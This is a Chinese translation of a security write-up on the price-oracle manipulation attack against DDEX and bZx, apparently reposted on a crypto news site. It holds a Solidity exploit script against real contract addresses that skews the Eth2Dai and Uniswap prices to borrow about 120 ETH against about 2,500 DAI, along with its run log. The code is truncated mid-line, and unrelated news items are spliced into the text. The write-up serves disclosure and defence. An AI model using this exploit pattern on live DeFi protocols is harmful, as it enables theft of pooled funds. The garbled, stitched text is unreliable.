譯文出自:登鏈翻譯計劃
譯者:翻譯小組
校對:Tiny熊
太長不看版
因依賴鏈上去中心化的價格預言而不驗證返回的價格,DDEX和bZx容易受到價格操縱攻擊。這導致DDEX的ETH/DAI市場損失ETH流動性,以及bZx中所有損失流動性資金,在本文中,將介紹價格操縱攻擊的原理、如何實施的攻擊、以及如何應對。
什么是去中心化貸款?
首先,讓我們談談傳統貸款。貸款時,通常需要提供某種抵押品,這樣,如果你拖欠貸款,貸方便可以扣留抵押品。為了確定你需要提供多少抵押品,貸方通常會知道或能夠可靠地計算出抵押品的公平市場價值(FMV)。
在去中心化貸款中,除了貸方現在是與外界隔離的智能合約之外,其他過程相同。這意味著它不能簡單地“知道”你提供的任何抵押品的FMV。
為了解決此問題,開發人員指示智能合約查詢價格預言機,該預言機接受代幣地址并返回對應計價貨幣(例如ETH或USD)的當前價格。不同的DeFi項目采用了不同的方法來實現此預言機,但通常可以將它們全部歸類為以下五種方式之一(盡管某些實現比其他實現更模糊):
鏈下中心化預言機這種類型的預言機只接受來自鏈下價格來源的新價格,通常來自項目控制的帳戶。由于需要使用新匯率快速通知更新預言機,因此該帳戶通常是EOA,而不是多簽錢包。可能需要進行一些合理的檢查,以確保價格波動不會太大。Compound和Synthetix的大多數資產使用這種類型的預言機。
Acala疑似遭黑客攻擊,正通過一項緊急投票暫停操作:8月14日消息,社區有消息稱,Acala因iBTC/aUSD池的漏洞遭到黑客攻擊,攻擊者錢包中目前持有超過12億枚aUSD。
Acala隨后發推稱,注意到Honzon協議的一個配置問題影響到aUSD。團隊正在通過一項緊急投票,暫停Acala上的操作,同時正調查并解決這個問題。團隊將在網絡恢復正常后更新報告。[2022/8/14 12:24:11]
鏈下去中心化預言機這種預言機從多個鏈下來源接受新價格,并通過數學函數(例如平均值)合并這些值。在此模型中,通常使用多簽名錢包來管理授權價格源列表。Maker針對ETH和其他資產使用這種類型的預言機。
鏈上中心化預言機這種類型的預言機使用鏈上價格來源(例如DEX)確定資產價格。但是,只有授權賬號才能觸發預言機從鏈上源讀取。像鏈下中心化預言機一樣,這種類型的預言機需要快速更新,因此授權觸發帳戶可能是EOA而不是多簽錢包。dYdX和Nuo針對一些資產使用這種類型的預言機。
鏈上去中心化預言機這種預言機使用鏈上價格來源確定資產價格,但是任何人都可以更新。可能需要進行一些合理檢查,以確保價格波動不會太大。DDEX將這種類型的預言機用于DAI,而bZx對所有資產使用這種類型的預言機。
常量預言機這種類型的預言機簡單地返回一個常數,通常用于穩定幣。由于USDC釘住美元,因此上述幾乎所有項目都將這種類型的預言機用于USDC。
澳大利亞男子被指通過加密貨幣對沖基金詐騙9000萬美元,現已認罪:紐約南區聯邦檢察官辦公室指控澳大利亞公民Stefan He Qin涉嫌證券欺詐。Stefan He Qin是兩家加密貨幣對沖基金Virgil Sigma Fund和VQR Multistrategy Fund的創始人。Qin通過其旗艦加密對沖基金竊取了近9000萬美元。根據美國司法部發布的官方聲明,Qin多年來通過Virgil Sigma Fund詐騙投資者,并于2020年12月試圖從其VQR Multistrategy Fund中竊取資金支付Virgil Sigma Fund投資者。Qin已于2021年2月4日在美國地區法官Valerie Caproni面前認罪。據悉,Qin在2017年至2020年期間就加密貨幣對沖基金的表現向投資者傳達虛假信息,并將大部分被盜資金用于奢侈品和投機性個人投資。(Finance Magnates)[2021/2/5 18:59:37]
問題
在尋找其他易受攻擊的項目時,我看到了這條推文:
老實說,我擔心他們會將其用作價格喂價源。如果我的預感是正確的,那很容易受到攻擊。
—Vitalik非以太贈予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice
uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice
Cardano網絡超50%區塊已通過公共股權池驗證:IOHK分享的一份公告顯示,Cardano網絡上超過50%的區塊正在通過公共股權池進行驗證。這標志著IOHK首席執行官Charles Hoskinson創建的股權證明(PoS)區塊鏈實現了一個重要的去中心化里程碑。據悉,7月29日,Cardano實施Shelley硬分叉,它的推出讓擁有本地ADA代幣的人可以將他們持有的股份委托給社區控制的股權池,并獲得質押獎勵。IOHK的技術經理Kevin Hammond在8月份的一篇博客中稱,最終目標是讓所有區塊通過股權投票產生,這將使治理完全去中心化。[2020/11/2 11:28:23]
return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai
uint256bidDai=Eth2Dai
else{returnbidPrice
}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP
else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle
動態 | CoinText.io在以色列和香港推出通過短信BCH支付:據financemagnates消息,美國區塊鏈創業公司CoinText宣布在以色列和香港推出通過短信BCH支付。CoinText開發一款支持通過短信進行BCH交易的手機錢包,而無需錢包地址或在網上完成。該公司目前為25個國家提供服務,目標是到2018年年底達到世界70%的份額。[2018/10/8]
else{return0;}}
參考源碼
為了觸發更新并使預言機刷新其存儲的值,用戶只需調用updatePrice()即可。
functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}
參考源碼
攻擊原理
假設我們可以操縱DAI/USD的價格表現。如果是這種情況,我們希望使用它借用系統中的所有ETH,同時提供盡可能少的DAI。為此,我們可以降低ETH/USD的表現價格或增加DAI/USD的表現價格。由于我們已經假設DAI/USD的表現價值是可操縱的,因此我們選擇后者。
為了增加DAI/USD的表現價格,我們可以增加ETH/USD的表現價格,或者降低ETH/DAI的表現價格。基于當前意圖和目的,操縱Maker的預言是不可能的,因此我們將嘗試降低ETH/DAI的表現價值。
Google復活節彩蛋 用戶可以通過Google Home讓“中本聰”為自己播報數字貨幣行情:復活節將至,Google準備了新一年的彩蛋。今年的彩蛋是,對Google Home智能家居設備說“OKAY GOOGLE”,然后要求“let's get mr satoshi”(讓我跟中本聰聊),之后,女聲會變成男聲,說:“我是中本聰,你要買什么幣?”然后推送比特幣行情。[2017/12/14]
編者注,因為DAI/USD價格=ETH/USD價格÷ETH/DAI價格
預言機通過Eth2Dai取當前要價和當前出價的平均值來計算ETH/DAI的值。為了降低此值,我們需要通過填充現有訂單來降低當前出價,然后通過下新訂單來降低當前要價。
但是,這需要大量的初始投資(因為我們需要先填寫訂單,然后再生成相等數量的訂單),并且實施起來并不容易。另一方面,我們可以通過在Uniswap大量交易DAI來影響Uniswap中的價格。因此,我們的目標是繞過Eth2Dai邏輯并操縱Uniswap價格。
為了繞過Eth2Dai,我們需要控制價格的波動幅度。我們可以通過以下兩種方式之一進行操作:
清除訂單的一側,而保留另一側。這導致價差正增長
通過列出極端的買入或賣出訂單來強制執行交叉的訂單。這會導致利差下降。
盡管選項2不會因不利訂單而造成任何損失,但SafeMath不允許使用交叉訂單,因此我們無法使用。相反,我們會通過清除訂單的一側來強制產生較大的正價差。這將導致DAI預言機回退到Uniswap來確定DAI的價格。然后,我們可以通過購買大量DAI來降低DAI/ETH的Uniswap價格。一旦操縱了DAI/USD的表現價值,便像往常一樣借貸很簡單。
攻擊演示
以下腳本將通過以下方式獲利約70ETH:
清除Eth2Dai的賣單,直到價差足夠大,以致預言機拒絕價格
從Uniswap購買更多DAI,價格從213DAI/ETH降至13DAI/ETH
用少量DAI(?2500)借出所有可用ETH(?120)
將我們從Uniswap購買的DAI賣回Uniswap
將我們從Eth2Dai購買的DAI賣回Eth2Dai
重置預言機(不想讓其他人濫用我們的優惠價格)
contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")
functioncheckRates()external{uintethPrice=ETH_ORACLE
uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE
functionskewUniswapPrice()internal{DAI
functionskewMatchingMarket()internal{uintstart=DAI
boughtFromMatchingMarket=DAI
functionsteal()external{HydroLike
functioncleanup()external{DAI
functioncheckProfits()external{printf("profits=%
}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/
解決方案
DDEX團隊通過部署新的預言機解決了此問題這對DAI的價格設置了合約價格界限,目前將其設置為0.95和1.05。
本文來源于非小號媒體平臺:
登鏈社區
現已在非小號資訊平臺發布105篇作品,
非小號開放平臺歡迎幣圈作者入駐
入駐指南:
/apply_guide/
本文網址:
/news/9559363.html
免責聲明:
1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險
2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場
上一篇:
幣安為何推出第三條鏈?這對BNB意味著什么?
Tags:DAIETHPRIRICEYFDai Financetogetherbnb全劇情圖文攻略Primal Tokenrice幣是什么
尊敬的社區用戶: 由于XRP全節點升級,霍比特交易所現已暫停XRP的充值和提現。霍比特交易所將在XRP升級完畢后恢復充提業務,具體時間將以公告另行通知.
1900/1/1 0:00:00各位幣友大家晚上好,下面老李先跟大家分享下12.22日全網公開單操作情況:上午11:10附近老李給出全網公開單多單.
1900/1/1 0:00:00數字貨幣比如比特幣、以太坊這些都是去中心化的只能合約,在很長一段時間里;一直都在吸引大批的礦工加入.
1900/1/1 0:00:00日線:日線再次收陰,今天大概率會繼續做空,但是強度肯定不會跟昨天一樣!畢竟經過一天連續三次的千點瀑布,能量宣泄的一干二凈,今天更加傾向于震蕩.
1900/1/1 0:00:00幣圈頭條資訊: 1.灰度加密貨幣信托基金已暫停接受新投資。2.MicroStrategyCEO宣布再次購入6.5億美元比特幣。4.美國對沖基金天橋資本創始人正在啟動比特幣相關投資基金.
1900/1/1 0:00:00親愛的用戶: DigiFinex于2020年12月16日11:00-2020年12月20日11:00(GMT8)舉辦的“Stellar(XLM)及Horizen(ZEN)上線DigiFinex”.
1900/1/1 0:00:00